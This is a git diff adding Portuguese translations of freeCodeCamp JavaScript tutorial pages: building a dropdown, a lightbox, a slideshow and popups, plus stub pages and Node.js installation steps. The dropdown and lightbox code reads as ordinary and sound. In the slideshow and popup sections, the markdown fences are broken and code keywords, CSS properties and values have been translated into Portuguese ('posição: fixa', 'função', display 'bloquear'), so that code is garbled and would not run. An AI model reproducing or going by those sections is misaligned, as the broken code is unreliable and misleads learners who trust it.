+Gostaria de deixar claro que estamos usando as funções de seta ( `() => {}` ) e a palavra-chave `const` , que são recursos do ES6. Você provavelmente é bom se estiver usando uma versão recente do seu navegador, mas lembre-se disso.
+
+#### 1\. Clicar no elemento suspenso
+
+```Javascript
+function toggleClass(elem,className){ 
+    if (elem.className.indexOf(className) !== -1){ 
+        elem.className = elem.className.replace(className,''); 
+    } 
+    else{ 
+        elem.className = elem.className.replace(/\s+/g,' ') +   ' ' + className; 
+    } 
+ 
+    return elem; 
+ } 
+ 
+ function toggleDisplay(elem){ 
+    const curDisplayStyle = elem.style.display; 
+ 
+    if (curDisplayStyle === 'none' || curDisplayStyle === ''){ 
+        elem.style.display = 'block'; 
+    } 
+    else{ 
+        elem.style.display = 'none'; 
+    } 
+ } 
+ 
+ 
+ function toggleMenuDisplay(e){ 
+    const dropdown = e.currentTarget.parentNode; 
+    const menu = dropdown.querySelector('.menu'); 
+    const icon = dropdown.querySelector('.fa-angle-right'); 
+ 
+    toggleClass(menu,'hide'); 
+    toggleClass(icon,'rotate-90'); 
+ } 
+```
+
+Quando o elemento suspenso é clicado, ele é aberto (se estiver fechado) ou fechado (se estiver aberto). Isso acontece vinculando `toggleMenuDisplay` ao listener de evento de clique no elemento suspenso. Esta função alterna a exibição de seu `menu` elemento pelo uso dos `toggleDisplay` e `toggleClass` funções.
+
+#### 2\. Selecionando uma das opções suspensas
+
+```Javascript
+function handleOptionSelected(e){ 
+    toggleClass(e.target.parentNode, 'hide'); 
+ 
+    const id = e.target.id; 
+    const newValue = e.target.textContent + ' '; 
+    const titleElem = document.querySelector('.dropdown .title'); 
+    const icon = document.querySelector('.dropdown .title .fa'); 
+ 
+ 
+    titleElem.textContent = newValue; 
+    titleElem.appendChild(icon); 
+ 
+    //trigger custom event 
+    document.querySelector('.dropdown .title').dispatchEvent(new Event('change')); 
+    //setTimeout is used so transition is properly shown 
+    setTimeout(() => toggleClass(icon,'rotate-90',0)); 
+ } 
+```
+
+#### 3\. Alterar a opção atualmente selecionada
+
+```Javascript
+function handleTitleChange(e){ 
+    const result = document.getElementById('result'); 
+ 
+    result.innerHTML = 'The result is: ' + e.target.textContent; 
+ } 
+```
+
+A função `handleTitleChange` está vinculada ao evento de `change` personalizado no elemento `.title` , para alterar o conteúdo do elemento `#result` sempre que o elemento title for alterado. O acionamento deste evento é feito na seção anterior.
+
+#### Código principal
+
+```Javascript
+//get elements 
+ const dropdownTitle = document.querySelector('.dropdown .title'); 
+ const dropdownOptions = document.querySelectorAll('.dropdown .option'); 
+ 
+ //bind listeners to these elements 
+ dropdownTitle.addEventListener('click', toggleMenuDisplay); 
+ dropdownOptions.forEach(option => option.addEventListener('click',handleOptionSelected)); 
+ document.querySelector('.dropdown .title').addEventListener('change',handleTitleChange); 
+```
+
+Na seção principal, há apenas um código simples para obter os elementos title e options do menu suspenso para vincular a eles os eventos discutidos na última seção.
+
+## Demonstração
+
+O código completo e a demonstração deste aplicativo podem ser encontrados [aqui](https://codepen.io/GCrispino/pen/EEXmYd) .
+
+## Mais Informações
+
+*   [Introdução ao ES6](https://guide.freecodecamp.org/javascript/es6)
+*   [Funções de seta](https://guide.freecodecamp.org/javascript/es6/arrow_functions/)
+*   [Deixe e Const](https://guide.freecodecamp.org/javascript/es6/let_and_const/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/tutorials/how-to-create-a-lightbox/index.md b/client/src/guide/portuguese/javascript/tutorials/how-to-create-a-lightbox/index.md
new file mode 100644
index 0000000000..43e7aa187e
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/tutorials/how-to-create-a-lightbox/index.md
@@ -0,0 +1,569 @@
+---
+title: How to Create a Lightbox
+localeTitle: Como criar um lightbox
+---
+## Como criar um lightbox
+
+### Introdução
+
+Uma mesa de luz é uma combinação de dois componentes, um [modal](https://en.wikipedia.org/wiki/Modal_window) e uma apresentação de slides. Aqui você construirá uma lightbox simples usando `HTML` , `CSS` e `JavaScript` .
+
+A caixa de luz estará contida no modal, que será acionado por algum `JavaScript` , a partir de [manipuladores de eventos](https://developer.mozilla.org/en-US/docs/Web/Guide/Events/Event_handlers) na marcação `HTML` . Você construirá estilos que fornecerão estado com `CSS` e comportamento com `JavaScript` . Você também encontrará uma lista de referência dos métodos que você usa e outros bits úteis relacionados a este tutorial, na parte inferior.
+
+#### Nossas Imagens
+
+As imagens que vamos usar estão sendo fornecidas pela [Pexels](https://www.pexels.com/) , uma galeria de fotos gratuita que permite fornecer imagens de alta qualidade aos seus projetos de forma rápida, gratuita e geralmente sem atribuições necessárias.
+
+#### Apenas mostre-me o código!
+
+Um exemplo ao vivo pode ser encontrado [aqui - CodePen / Lightbox](https://codepen.io/rdev-rocks/pen/KXNzvo) e um rascunho completo do código está perto da parte inferior.
+
+### Etapa 1. O Markup
+
+A marcação, ou `HTML` , fornece a estrutura para a lightbox.
+
+```html
+
+<!-- Here is your access point for your user, a preview of the images you wish to display. 
+     You use the onclick="" event handler to execute the methods you will define in the 
+     JavaScript near the bottom --> 
+ 
+ <div class="row"> 
+  <div class="col"> 
+     <img src="https://static.pexels.com/photos/385997/pexels-photo-385997.jpeg" onclick="openLightbox();toSlide(1)" class="hover-shadow preview" alt="Toy car on the road." /> 
+  </div> 
+  <div class="col"> 
+     <img src="https://static.pexels.com/photos/574521/pexels-photo-574521.jpeg" onclick="openLightbox();toSlide(2)" class="hover-shadow preview" alt="Toy car exploring offroad." /> 
+  </div> 
+  <div class="col"> 
+     <img src="https://static.pexels.com/photos/386009/pexels-photo-386009.jpeg" onclick="openLightbox();toSlide(3)" class="hover-shadow preview" alt="Toy car in the city." /> 
+  </div> 
+ </div> 
+ 
+ <!-- This is your lightbox, it is contained in a modal. Here you provide all the images, 
+     controls, and another set of preview images as the dots. Dots show your user which 
+     image is currently active. Note that you use entities (eg &times;), more info on 
+     them at the bottom. --> 
+ 
+ <div id="Lightbox" class="modal"> 
+  <span class="close pointer" onclick="closeLightbox()">&times;</span> 
+  <div class="modal-content"> 
+    <div class="slide"> 
+        <img src="https://static.pexels.com/photos/385997/pexels-photo-385997.jpeg" class="image-slide" alt="Toy car on the road." /> 
+    </div> 
+    <div class="slide"> 
+        <img src="https://static.pexels.com/photos/574521/pexels-photo-574521.jpeg" class="image-slide" alt="Toy car exploring offroad." /> 
+    </div> 
+    <div class="slide"> 
+        <img src="https://static.pexels.com/photos/386009/pexels-photo-386009.jpeg" class="image-slide" alt="Toy car in the city." /> 
+    </div> 
+ 
+    <a class="previous" onclick="changeSlide(-1)">&#10094;</a> 
+    <a class="next" onclick="changeSlide(1)">&#10095;</a> 
+ 
+    <div class="dots"> 
+      <div class="col"> 
+        <img src="https://static.pexels.com/photos/385997/pexels-photo-385997.jpeg" class="modal-preview hover-shadow" onclick="toSlide(1)" alt="Toy car on the road" /> 
+      </div> 
+      <div class="col"> 
+        <img src="https://static.pexels.com/photos/574521/pexels-photo-574521.jpeg" class="modal-preview hover-shadow" onclick="toSlide(2)" alt="Toy car exploring offroad." /> 
+      </div> 
+      <div class="col"> 
+        <img src="https://static.pexels.com/photos/386009/pexels-photo-386009.jpeg" class="modal-preview hover-shadow" onclick="toSlide(3)" alt="Toy car in the city." /> 
+      </div> 
+    </div> 
+  </div> 
+ </div> 
+```
+
+### Etapa 2. Estilo com CSS
+
+O `CSS` fornece estados diferentes para a sua mesa de luz. Coisas como visibilidade, posicionamento e efeitos de foco.
+
+Sua folha de estilo deve ficar assim:
+
+```css
+/* Here you provide a best practice's "reset", read more about it at the bottom! :) */ 
+ 
+ html { 
+  box-sizing: border-box; 
+ } 
+ 
+ *, *:before, *:after { 
+  box-sizing: inherit; 
+ } 
+ 
+ body { 
+  margin: 0; 
+ } 
+ 
+ /* You define the style of our previews here, you are using flex to display the images 
+   "responsively". */ 
+ 
+ .preview { 
+  width: 100%; 
+ } 
+ 
+ .row { 
+  display: flex; 
+  flex-direction: row; 
+  justify-content: space-between; 
+ } 
+ 
+ .row > .col { 
+  padding: 0 8px; 
+ } 
+ 
+ .col { 
+  float: left; 
+  width: 25%; 
+ } 
+ 
+ /* Now you want to define what the lightbox will look like. Note that you have the display 
+   as none. You don't want it to show until the user clicks on one of the previews. 
+   You will change this display property with JavaScript below. */ 
+ 
+ .modal { 
+  display: none; 
+  position: fixed; 
+  z-index: 1; 
+  padding: 10px 62px 0px 62px; 
+  left: 0; 
+  top: 0; 
+  width: 100%; 
+  height: 100%; 
+  overflow: auto; 
+  background-color: black; 
+ } 
+ 
+ .modal-content { 
+  position: relative; 
+  display: flex; 
+  flex-direction: column; 
+  justify-content: center; 
+  margin: auto; 
+  padding: 0 0 0 0; 
+  width: 80%; 
+  max-width: 1200px; 
+ } 
+ 
+ /* Same with your slides, you set the display to none, because you want to choose which 
+   one is shown at a time. */ 
+ 
+ .slide { 
+  display: none; 
+ } 
+ 
+ .image-slide { 
+  width: 100%; 
+ } 
+ 
+ .modal-preview { 
+  width: 100%; 
+ } 
+ 
+ .dots { 
+  display: flex; 
+  flex-direction: row; 
+  justify-content: space-between; 
+ } 
+ 
+ /* You want the previews a little transparent to show that they are "inactive". 
+   You then add an .active or :hover class to animate the selections for your user when 
+   they interact with your controls and clickable content. 
+ */ 
+ 
+ img.preview, img.modal-preview { 
+  opacity: 0.6; 
+ } 
+ 
+ img.active, 
+ .preview:hover, 
+ .modal-preview:hover { 
+  opacity: 1; 
+ } 
+ 
+ img.hover-shadow { 
+  transition: 0.3s; 
+ } 
+ 
+ .hover-shadow:hover { 
+  box-shadow: 0 4px 8px 0 rgba(0, 0, 0, 0.2), 0 6px 20px 0 rgba(0, 0, 0, 0.19); 
+ } 
+ 
+ .close { 
+  color: white; 
+  position: absolute; 
+  top: 10px; 
+  right: 25px; 
+  font-size: 35px; 
+  font-weight: bold; 
+ } 
+ 
+ .close:hover, 
+ .close:focus { 
+  color: #999; 
+  text-decoration: none; 
+  cursor: pointer; 
+ } 
+ 
+ .previous, 
+ .next { 
+  cursor: pointer; 
+  position: absolute; 
+  top: 50%; 
+  width: auto; 
+  padding: 16px; 
+  margin-top: -50px; 
+  color: white; 
+  font-weight: bold; 
+  font-size: 20px; 
+  transition: 0.6s ease; 
+  border-radius: 0 3px 3px 0; 
+  user-select: none; 
+  -webkit-user-select: none; 
+ } 
+ 
+ .next { 
+  right: 0; 
+  border-radius: 3px 0 0 3px; 
+ } 
+ 
+ .previous:hover, 
+ .next:hover { 
+  background-color: rgba(0, 0, 0, 0.8); 
+ } 
+```
+
+### Etapa 3. JavaScript
+
+Agora para os negócios! Seu JavaScript deve ficar assim:
+
+```javascript
+// Initialize here and run showSlide() to give your lightbox a default state. 
+ 
+ let slideIndex = 1; 
+ showSlide(slideIndex); 
+ 
+ // You are providing the functionality for your clickable content, which is 
+ // your previews, dots, controls and the close button. 
+ 
+ function openLightbox() { 
+  document.getElementById('Lightbox').style.display = 'block'; 
+ } 
+ 
+ function closeLightbox() { 
+  document.getElementById('Lightbox').style.display = 'none'; 
+ }; 
+ 
+ // Note that you are assigning new values here to our slidIndex. 
+ 
+ function changeSlide(n) { 
+  showSlide(slideIndex += n); 
+ }; 
+ 
+ function toSlide(n) { 
+  showSlide(slideIndex = n); 
+ }; 
+ 
+ // This is your logic for the light box. It will decide which slide to show 
+ // and which dot is active. 
+ 
+ function showSlide(n) { 
+  const slides = document.getElementsByClassName('slide'); 
+  let modalPreviews = document.getElementsByClassName('modal-preview'); 
+ 
+  if (n > slides.length) { 
+    slideIndex = 1; 
+  }; 
+ 
+  if (n < 1) { 
+    slideIndex = slides.length; 
+  }; 
+ 
+  for (let i = 0; i < slides.length; i++) { 
+    slides[i].style.display = "none"; 
+  }; 
+ 
+  for (let i = 0; i < modalPreviews.length; i++) { 
+    modalPreviews[i].className = modalPreviews[i].className.replace(' active', ''); 
+  }; 
+ 
+  slides[slideIndex - 1].style.display = 'block'; 
+  modalPreviews[slideIndex - 1].className += ' active'; 
+ }; 
+```
+
+E é isso! Agora coloque todo o código juntos. Agora você deve ter uma lightbox funcional.
+
+### Todo o código
+
+```html
+
+<body> 
+  <style> 
+    html { 
+      box-sizing: border-box; 
+    } 
+ 
+    *, *:before, *:after { 
+      box-sizing: inherit; 
+    } 
+ 
+    body { 
+      margin: 0; 
+    } 
+ 
+    .preview { 
+      width: 100%; 
+    } 
+ 
+    .row { 
+      display: flex; 
+      flex-direction: row; 
+      justify-content: space-between; 
+    } 
+ 
+    .row > .col { 
+      padding: 0 8px; 
+    } 
+ 
+    .col { 
+      float: left; 
+      width: 25%; 
+    } 
+ 
+    .modal { 
+      display: none; 
+      position: fixed; 
+      z-index: 1; 
+      padding: 10px 62px 0px 62px; 
+      left: 0; 
+      top: 0; 
+      width: 100%; 
+      height: 100%; 
+      overflow: auto; 
+      background-color: black; 
+    } 
+ 
+    .modal-content { 
+      position: relative; 
+      display: flex; 
+      flex-direction: column; 
+      justify-content: center; 
+      margin: auto; 
+      padding: 0 0 0 0; 
+      width: 80%; 
+      max-width: 1200px; 
+    } 
+ 
+    .slide { 
+      display: none; 
+    } 
+ 
+    .image-slide { 
+        width: 100%; 
+    } 
+ 
+    .modal-preview { 
+        width: 100%; 
+    } 
+ 
+    .dots { 
+        display: flex; 
+        flex-direction: row; 
+        justify-content: space-between; 
+    } 
+ 
+    img.preview, img.modal-preview { 
+      opacity: 0.6; 
+    } 
+ 
+    img.active, 
+    .preview:hover, 
+    .modal-preview:hover { 
+      opacity: 1; 
+    } 
+ 
+    img.hover-shadow { 
+      transition: 0.3s; 
+    } 
+ 
+    .hover-shadow:hover { 
+      box-shadow: 0 4px 8px 0 rgba(0, 0, 0, 0.2), 0 6px 20px 0 rgba(0, 0, 0, 0.19); 
+    } 
+ 
+    .close { 
+      color: white; 
+      position: absolute; 
+      top: 10px; 
+      right: 25px; 
+      font-size: 35px; 
+      font-weight: bold; 
+    } 
+ 
+    .close:hover, 
+    .close:focus { 
+      color: #999; 
+      text-decoration: none; 
+      cursor: pointer; 
+    } 
+ 
+    .previous, 
+    .next { 
+      cursor: pointer; 
+      position: absolute; 
+      top: 50%; 
+      width: auto; 
+      padding: 16px; 
+      margin-top: -50px; 
+      color: white; 
+      font-weight: bold; 
+      font-size: 20px; 
+      transition: 0.6s ease; 
+      border-radius: 0 3px 3px 0; 
+      user-select: none; 
+      -webkit-user-select: none; 
+    } 
+ 
+    .next { 
+      right: 0; 
+      border-radius: 3px 0 0 3px; 
+    } 
+ 
+    .previous:hover, 
+    .next:hover { 
+      background-color: rgba(0, 0, 0, 0.8); 
+    } 
+  </style> 
+  <div class="row"> 
+    <div class="col"> 
+       <img src="https://static.pexels.com/photos/385997/pexels-photo-385997.jpeg" onclick="openLightbox();toSlide(1)" class="hover-shadow preview" alt="Toy car on the road." /> 
+    </div> 
+    <div class="col"> 
+       <img src="https://static.pexels.com/photos/574521/pexels-photo-574521.jpeg" onclick="openLightbox();toSlide(2)" class="hover-shadow preview" alt="Toy car exploring offroad." /> 
+    </div> 
+    <div class="col"> 
+       <img src="https://static.pexels.com/photos/386009/pexels-photo-386009.jpeg" onclick="openLightbox();toSlide(3)" class="hover-shadow preview" alt="Toy car in the city" /> 
+    </div> 
+  </div> 
+ 
+  <div id="Lightbox" class="modal"> 
+ 
+    <span class="close pointer" onclick="closeLightbox()">&times;</span> 
+    <div class="modal-content"> 
+      <div class="slide"> 
+        <img src="https://static.pexels.com/photos/385997/pexels-photo-385997.jpeg" class="image-slide" alt="Toy car on the road." /> 
+      </div> 
+      <div class="slide"> 
+        <img src="https://static.pexels.com/photos/574521/pexels-photo-574521.jpeg" class="image-slide" alt="Toy car exploring offroad." /> 
+      </div> 
+      <div class="slide"> 
+        <img src="https://static.pexels.com/photos/386009/pexels-photo-386009.jpeg" class="image-slide" alt="Toy car in the city." /> 
+      </div> 
+ 
+      <a class="previous" onclick="changeSlide(-1)">&#10094;</a> 
+      <a class="next" onclick="changeSlide(1)">&#10095;</a> 
+ 
+      <div class="dots"> 
+        <div class="col"> 
+          <img src="https://static.pexels.com/photos/385997/pexels-photo-385997.jpeg" class="modal-preview hover-shadow" onclick="toSlide(1)" alt="Toy car on the road." /> 
+        </div> 
+        <div class="col"> 
+          <img src="https://static.pexels.com/photos/574521/pexels-photo-574521.jpeg" class="modal-preview hover-shadow" onclick="toSlide(2)" alt="Toy car exploring offroad." /> 
+        </div> 
+        <div class="col"> 
+          <img src="https://static.pexels.com/photos/386009/pexels-photo-386009.jpeg" class="modal-preview hover-shadow" onclick="toSlide(3)" alt="Toy car in the city" /> 
+        </div> 
+      </div> 
+    </div> 
+  </div> 
+ 
+  <script> 
+    let slideIndex = 1; 
+    showSlide(slideIndex); 
+ 
+    function openLightbox() { 
+      document.getElementById('Lightbox').style.display = 'block'; 
+    }; 
+ 
+    function closeLightbox() { 
+      document.getElementById('Lightbox').style.display = 'none'; 
+    }; 
+ 
+    function changeSlide(n) { 
+      showSlide(slideIndex += n); 
+    }; 
+ 
+    function toSlide(n) { 
+      showSlide(slideIndex = n); 
+    }; 
+ 
+    function showSlide(n) { 
+      const slides = document.getElementsByClassName('slide'); 
+      let modalPreviews = document.getElementsByClassName('modal-preview'); 
+ 
+      if (n > slides.length) { 
+        slideIndex = 1; 
+      }; 
+ 
+      if (n < 1) { 
+        slideIndex = slides.length; 
+      }; 
+ 
+      for (let i = 0; i < slides.length; i++) { 
+        slides[i].style.display = "none"; 
+      }; 
+ 
+      for (let i = 0; i < modalPreviews.length; i++) { 
+        modalPreviews[i].className = modalPreviews[i].className.replace(' active', ''); 
+      }; 
+ 
+      slides[slideIndex - 1].style.display = 'block'; 
+      modalPreviews[slideIndex - 1].className += ' active'; 
+    }; 
+  </script> 
+ </body> 
+```
+
+## \### Mais Informações:
+
+#### HTML
+
+[Modal](https://en.wikipedia.org/wiki/Modal_window) - uma janela pop-up
+
+[Manipuladores de Eventos](https://developer.mozilla.org/en-US/docs/Web/Guide/Events/Event_handlers) - propriedades HTML que escutam eventos de usuários.
+
+[Entidade](https://developer.mozilla.org/en-US/docs/Glossary/Entity) - Uma string que representa um caractere reservado em HTML.
+
+#### CSS
+
+[box-sizing:](https://css-tricks.com/box-sizing/) - Uma propriedade CSS3 que controla a maneira como o navegador processa o conteúdo com base na altura e na largura.
+
+[Flex-box](https://developer.mozilla.org/en-US/docs/Learn/CSS/CSS_layout/Flexbox) - Uma nova tecnologia que ajuda a posicionar o conteúdo HTML em um manor responsivo.
+
+[: hover](https://developer.mozilla.org/en-US/docs/Web/CSS/:hover) - Um pseudo-seletor que é acionado quando um usuário passa o mouse sobre um elemento quando essa classe é atribuída a ele.
+
+#### JavaScript
+
+[Deixe](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/let) uma variável de escopo de bloco.
+
+[const](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/const) Uma constante de escopo de bloco.
+
+[getElementById ()](https://developer.mozilla.org/en-US/docs/Web/API/Document/getElementById) - Um método de documento que retorna uma referência a um elemento HTML.
+
+[getElementsByClassName ()](https://developer.mozilla.org/en-US/docs/Web/API/Document/getElementsByClassName) - Um método de documento que retorna uma matriz de referências ao html que possui classes correspondentes.
+
+[\+ =](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Assignment_Operators) - um operador de atribuição que adicionará números ou concatenará strings.
+
+#### Recursos:
+
+[Exemplo ao vivo](https://codepen.io/rdev-rocks/pen/KXNzvo?editors=1111) - Uma CodePen que demonstra o código acima.
+
+[Flex-Box Interativa](https://codepen.io/enxaneta/full/adLPwv) - Uma CodePen interativa que mostra o comportamento flex-box.
+
+[Pexels](https://www.pexels.com/) - Uma galeria de fotos.
+
+[MDN](https://developer.mozilla.org/en-US/) - Um ótimo lugar para informações sobre coisas da web.
+
+[W3School - Lightbox](https://www.w3schools.com/howto/howto_js_lightbox.asp) - Este código foi inspirado a partir daqui. Obrigado W3Schools!
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/tutorials/how-to-create-a-slideshow/index.md b/client/src/guide/portuguese/javascript/tutorials/how-to-create-a-slideshow/index.md
new file mode 100644
index 0000000000..36c3c50f53
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/tutorials/how-to-create-a-slideshow/index.md
@@ -0,0 +1,60 @@
+---
+title: How to Create a Slideshow
+localeTitle: Como criar uma apresentação de slides
+---
+## Como criar uma apresentação de slides
+
+Uma apresentação de slides da Web é uma sequência de imagens ou texto que consiste em mostrar um elemento dessa sequência em um intervalo de tempo.
+
+Para este tutorial, você pode criar uma apresentação de slides seguindo as próximas etapas:
+
+### Escreva uma marcação.
+
+\`\` \`html   Slideshow  
+```
+### Write styles to hide slides and show only one slide. 
+ 
+ For hide the slides you have to give them a default style and only show one slide if this is active or you want to show it. 
+```
+
+css \[data-component = "apresentação de slides"\] .slide { Mostrar nenhum; }
+
+\[data-component = "apresentação de slides"\] .slide.active { display: bloco; }
+```
+### Change the slides in a time interval. 
+ 
+ The first step to change the slides to show, is select the slide wrapper(s) and then its slides. 
+ 
+ When you selected the slides you have to go over each slide and add or remove an active class depending on the slide that you want to show, and then just repeat the process in a time interval. 
+ 
+ Keep it in mind when you remove a active class to a slide, you are hidden it because the styles defined in the previous step. But when you add an active class to the slide, you are overwritring the style ``display:none to display:block`` , so the slide will show to the users. 
+```
+
+js var slideshows = document.querySelectorAll ('\[data-componente = "apresentação de slides"\]');
+
+// Aplica-se a todas as apresentações de slides que você define com a marcação slideshows.forEach (initSlideShow);
+
+função initSlideShow (slideshow) {
+```
+var slides = document.querySelectorAll(`#${slideshow.id} [role="list"] .slide`); // Get an array of slides 
+ 
+ var index = 0, time = 5000; 
+ slides[index].classList.add('active'); 
+ 
+ setInterval( () => { 
+  slides[index].classList.remove('active'); 
+ 
+  //Go over each slide incrementing the index 
+  index++; 
+ 
+  // If you go over all slides, restart the index to show the first slide and start again 
+  if (index === slides.length) index = 0; 
+ 
+  slides[index].classList.add('active'); 
+ 
+ }, time); 
+```
+
+} \`\` \`
+
+#### [Exemplo de codepen seguindo este tutorial](https://codepen.io/AndresUris/pen/rGXpvE)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/tutorials/how-to-create-a-top-navigation-bar/index.md b/client/src/guide/portuguese/javascript/tutorials/how-to-create-a-top-navigation-bar/index.md
new file mode 100644
index 0000000000..7fbb4e267a
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/tutorials/how-to-create-a-top-navigation-bar/index.md
@@ -0,0 +1,11 @@
+---
+title: How to Create a Top Navigation Bar
+localeTitle: Como criar uma barra de navegação superior
+---
+## Como criar uma barra de navegação superior
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/tutorials/how-to-create-a-top-navigation-bar/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/tutorials/how-to-create-an-accordion/index.md b/client/src/guide/portuguese/javascript/tutorials/how-to-create-an-accordion/index.md
new file mode 100644
index 0000000000..15db43fe7b
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/tutorials/how-to-create-an-accordion/index.md
@@ -0,0 +1,11 @@
+---
+title: How to Create an Accordion
+localeTitle: Como criar um acordeão
+---
+## Como criar um acordeão
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/tutorials/how-to-create-an-accordion/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/tutorials/how-to-create-popups/index.md b/client/src/guide/portuguese/javascript/tutorials/how-to-create-popups/index.md
new file mode 100644
index 0000000000..ac77827562
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/tutorials/how-to-create-popups/index.md
@@ -0,0 +1,46 @@
+---
+title: How to Create Popups
+localeTitle: Como criar pop-ups
+---
+## Como criar pop-ups
+
+Pop-up é uma janela que aparece quando você seleciona uma opção com um mouse ou pressiona uma tecla de função especial.
+
+Neste exemplo, o pop-up aparecerá quando você clicar em um botão e permanecerá na tela até que você pressione a opção X.
+
+Vamos construir o popup usando `HTML` , `CSS` e `JavaScript`
+
+### Etapa 1 em HTML
+
+O HTML fornece a estrutura para o pop-up
+
+\`\` \`html
+
+Abra o PopUp
+
+Popup com JavaScript
+
+X
+```
+### Step 2 CSS 
+ We will choose our own style for the popup window. Notice: the popup div should be hidden at first, so in the style I will select display: none; 
+```
+
+css .popup _main_ div { posição: fixa; largura: 800px; altura: 400 px; borda: 2px preto sólido; raio de fronteira: 5 px; background-color: #fff; esquerda: 50%; margem esquerda: -400px; topo: 50%; margem superior: -250px; Mostrar nenhum;
+
+} .close _popup { posição: absoluta; largura: 25px; altura: 25 px; raio de fronteira: 25 px; borda: 2px preto sólido; texto-alinhar: centro; direita: 5px; top: 5px; cursor: ponteiro; } .close_ popup p { margem superior: 5px; font-weight: 400;
+
+} .texto{ texto-alinhar: centro; tamanho da fonte: 30px; font-weight: 400; margem superior: 22%; } #Btn { posição: absoluta; esquerda: 50%; topo: 20%;
+
+}
+```
+### Step 3 JavaScript 
+```
+
+js // Primeiro de tudo vou inicializar minhas variáveis // Selecione os elementos que usaremos no DOM // Eu adicionarei en event no botão que acionará uma função que mudará o estilo de exibição do pop-up de none para block
+
+const Btn = document.getElementById ("Btn") const PopupDiv = document.querySelector (". popup _principal_ div") const ClosePopup = document.querySelector (". close\_popup") Btn.addEventListener ('clique', função () { PopupDiv.style.display = "bloquear" }) ClosePopup.addEventListener ('clique', função () { PopupDiv.style.display = "nenhum" })
+
+\`\` \`
+
+Live code in: [Codepen.io](https://codepen.io/voula12/pen/qyyNeK)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/tutorials/how-to-create-tabs/index.md b/client/src/guide/portuguese/javascript/tutorials/how-to-create-tabs/index.md
new file mode 100644
index 0000000000..1914e72a12
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/tutorials/how-to-create-tabs/index.md
@@ -0,0 +1,11 @@
+---
+title: How to Create Tabs
+localeTitle: Como criar guias
+---
+## Como criar guias
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/tutorials/how-to-create-tabs/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/tutorials/how-to-install-node-js-and-npm-on-windows/index.md b/client/src/guide/portuguese/javascript/tutorials/how-to-install-node-js-and-npm-on-windows/index.md
new file mode 100644
index 0000000000..2c6b5295a8
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/tutorials/how-to-install-node-js-and-npm-on-windows/index.md
@@ -0,0 +1,32 @@
+---
+title: How to Install Node Js and Npm on Windows
+localeTitle: Como instalar o Node Js e Npm no Windows
+---
+## Como instalar o Node Js e Npm no Windows
+
+Instalar Node.js e Npm no Windows é muito simples.
+
+Primeiro, baixe o instalador do Windows no [site](https://nodejs.org/) do [Node.js.](https://nodejs.org/) Você terá a escolha entre o **LTS** (Long Term Support) ou a versão **atual** .
+
+*   A versão **atual** recebe os mais recentes recursos e atualizações mais rapidamente
+*   A versão **LTS** foregos apresenta alterações para melhorar a estabilidade, mas recebe patches como correções de bugs e atualizações de segurança
+
+Depois de selecionar uma versão que atenda às suas necessidades, execute o instalador. Siga os prompts para selecionar um caminho de instalação e garantir que o recurso do **gerenciador de pacotes npm** seja incluído junto com o **tempo de execução** do **Node.js.** Essa deve ser a configuração padrão.
+
+Reinicie seu computador após a conclusão da instalação.
+
+Se você instalou sob a configuração padrão, o Node.js agora deve ser adicionado ao seu PATH. Execute o prompt de comando ou o powershell e insira o seguinte para testá-lo:
+```
+> node -v 
+```
+
+O console deve responder com uma string de versão. Repita o processo para Npm:
+```
+> npm -v 
+```
+
+Se ambos os comandos funcionarem, sua instalação foi um sucesso e você pode começar a usar o Node.js!
+
+#### Mais Informações:
+
+Para mais informações e guias, visite a [página de documentos](https://nodejs.org/en/docs/) do [Node.js.](https://nodejs.org/en/docs/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/tutorials/increment-a-number-with-javascript/index.md b/client/src/guide/portuguese/javascript/tutorials/increment-a-number-with-javascript/index.md
new file mode 100644
index 0000000000..2d5af72129
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/tutorials/increment-a-number-with-javascript/index.md
@@ -0,0 +1,15 @@
+---
+title: Increment a Number with JavaScript
+localeTitle: Incrementar um número com JavaScript
+---
+Você pode facilmente incrementar ou adicionar `1` a uma variável com o operador `++` .
+```
+i++; 
+```
+
+é o equivalente de
+```
+i = i + 1; 
+```
+
+**Nota** A linha inteira torna-se `i++;` , eliminando a necessidade do sinal de igual.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/tutorials/index.md b/client/src/guide/portuguese/javascript/tutorials/index.md
new file mode 100644
index 0000000000..d6f09681ed
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/tutorials/index.md
@@ -0,0 +1,11 @@
+---
+title: Tutorials
+localeTitle: Tutoriais
+---
+## Tutoriais
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/tutorials/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
